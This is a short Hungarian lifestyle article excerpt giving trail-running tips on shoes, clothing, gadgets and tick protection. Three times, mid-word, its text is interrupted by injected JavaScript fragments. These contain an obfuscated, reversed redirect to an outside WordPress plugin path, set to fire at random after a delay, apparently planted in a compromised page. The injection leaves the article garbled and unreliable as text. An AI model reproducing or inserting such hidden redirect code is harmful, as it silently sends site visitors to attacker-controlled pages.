Köztudott tény, hogy a zöld környezet nyugtatólag hat ránk. Érdemes elgondolkozni azon, hogy a városi futásainkat – legalább a héten egy-egy alkalommal – inkább az erdőbe végezzük. Kevesebb emberbe lehet botlani, jó a levegő, csend van, béke, mi más kellhet a terepfutáshoz? Röviden: jó cipő, megfelelő ruházat, és pár kütyü ha már ebben a techfókuszú világban élünk. Plusz fontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, hogy védekezzünk a kullancsok ellen is, például a Tickless Run apróságával! Jogos lenne a felvetés, hogy miért nem jó az utcai futócipő terepre is. Nem mondhatjuk, hogy egyáltalán nem jó, de egy kifejezetten terepviszonyokra tervezett cipő sokkal jobb fogást és támaszt ad a váltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tozatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos…
A cikk folytatódik: http://menandstyle.co.hu/egeszseg-fitnesz/2021/05/03/tippek-terepfutashoz.html
- Hirdetés -
